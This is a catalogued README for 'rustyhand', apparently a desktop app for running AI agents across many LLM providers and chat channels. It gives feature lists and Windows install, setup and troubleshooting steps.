Rustyhand

🦾 rustyhand - Run AI agents from one app

[](https://github.com/Tamang4607/rustyhand/releases)

📥 Download rustyhand

Visit the rustyhand releases page to download and install the Windows version.

If you use Windows, pick the latest release asset that matches your system. In most cases, that is a .exe file or a Windows zip file. Download it to your computer, then run the app.

🖥️ What rustyhand does

rustyhand is a desktop app and command-line tool for running AI agents from one place. It gives you:

• 37 ready-to-use agents
• 26 LLM provider options
• 37 channels like Telegram, Discord, and Slack
• MCP server support
• A2A protocol support
• More than 120 API endpoints
• A web dashboard for control and setup

You can use it to manage chat bots, agent tasks, and connected services without setting up a large stack by hand.

⚙️ Before you install

For Windows, use a computer that has:

• Windows 10 or Windows 11
• At least 8 GB of RAM
• 2 GB of free disk space
• Internet access for first-time setup
• Permission to run downloaded apps

If your PC is older, the app may still run, but it will work best with more memory.

🚀 Install on Windows

1. Open the rustyhand releases page
2. Find the latest release at the top of the page
3. Look under the Assets section
4. Download the Windows file
5. If you get a .zip file, right-click it and choose Extract All
6. Open the extracted folder
7. Double-click the rustyhand app file to start it

If Windows asks for permission, choose Run or Yes.

🧭 First run setup

When you open rustyhand for the first time, it may ask for a few basic settings:

• Choose your default AI provider
• Add an API key for the provider you want to use
• Pick the channels you want, like Telegram or Discord
• Set a local port if you plan to use the web dashboard
• Allow network access if Windows asks

If you only want to test the app, start with one provider and one channel. You can add more later.

🤖 Pick an AI provider

rustyhand works with many LLM providers. That means you can connect the app to the service you already use.

Common choices may include:

• OpenAI
• Anthropic
• Ollama
• Local models
• Other hosted LLM services

After you add your key or local endpoint, the app can send requests through that provider for agent tasks and chat flows.

💬 Use channels

You can connect rustyhand to chat services and run agents through them.

Common channel types include:

• Telegram
• Discord
• Slack
• CLI
• Web dashboard
• Other supported chat endpoints

This lets you use the same agent setup in the place that works best for you.

🧩 Start an agent

To run an agent:

1. Open the app
2. Choose an agent from the list
3. Set the provider for that agent
4. Choose the channel
5. Send a test message or start a task

Some agents may handle chat, some may handle tools, and some may handle multi-step work. You can use one agent or combine several.

🌐 Use the web dashboard

rustyhand includes a web dashboard for simple control from your browser.

From the dashboard, you can usually:

• Start and stop agents
• Check logs
• Change provider settings
• Review channel connections
• Manage API endpoints
• Track task status

This is useful if you want a clear view of what the app is doing.

🔌 MCP server and A2A support

rustyhand also works as an MCP server and supports A2A workflows.

In plain terms, this means it can:

• Connect to tools that use MCP
• Share data with other agent systems
• Act as a node in a larger agent setup
• Exchange tasks with other services

This helps if you want to build a local AI setup that talks to other tools.

🛠️ Common use cases

You can use rustyhand for:

• A personal AI assistant
• A Telegram bot
• A Discord bot
• A Slack bot
• A local agent runner
• A tool-connected AI workflow
• A multi-agent setup
• A self-hosted AI control panel

It fits both simple chat use and more structured automation.

📁 What to expect in the app

After launch, you will usually see:

• A list of agents
• Provider settings
• Channel settings
• Logs or status info
• A dashboard view
• API or integration options

The interface is made to keep setup in one place, so you do not have to jump between many tools.

🧪 Simple test steps

If you want to test the app right away:

1. Open rustyhand
2. Select one provider
3. Add your API key or local model address
4. Pick one agent
5. Choose a channel or the CLI
6. Send a short test message
7. Check the response and logs

If the agent replies, the app is ready.

🔧 Basic troubleshooting

If the app does not start:

• Make sure you downloaded the Windows file
• Check that the file finished downloading
• Extract the zip file if needed
• Run the app again as a normal user
• Try right-clicking the app and choosing Run as administrator
• Check your internet connection if the app needs to reach a provider

If a provider does not work:

• Recheck the API key
• Confirm the provider name
• Make sure your account has access
• Try a different provider first

If a channel does not connect:

• Confirm the bot token or login details
• Check the channel settings
• Make sure the service is online

📦 Project topics

rustyhand fits into these areas:

• agent framework
• agent OS
• AI agents
• autonomous agents
• chatbot tools
• CLI tools
• Discord bot setup
• Slack bot setup
• Telegram bot setup
• MCP server work
• multi-agent systems
• self-hosted AI
• Rust apps

🧾 File notes

If you download a zip release:

• Keep the extracted folder together
• Do not move single files out of the folder
• Start the main app file from inside the folder

If you download an installer:

• Open the installer file
• Follow the on-screen steps
• Start the app from the Start menu or desktop shortcut

🔐 Local use

rustyhand can run as a self-hosted app on your own machine. That means you keep control of the setup on your PC. You can use local models, online providers, or both.

This works well if you want:

• A private AI setup
• A local dashboard
• One place for many agents
• A simple way to test bot workflows

📌 Release updates

Check the rustyhand releases page for newer builds, bug fixes, and Windows downloads.

Source & license

This open-source MCP server is cataloged on AgentStack and links to its original source — we do not rehost the code.

• Author: Tamang4607
• Source: Tamang4607/rustyhand
• License: MIT

Install and usage instructions live in the source repository linked above.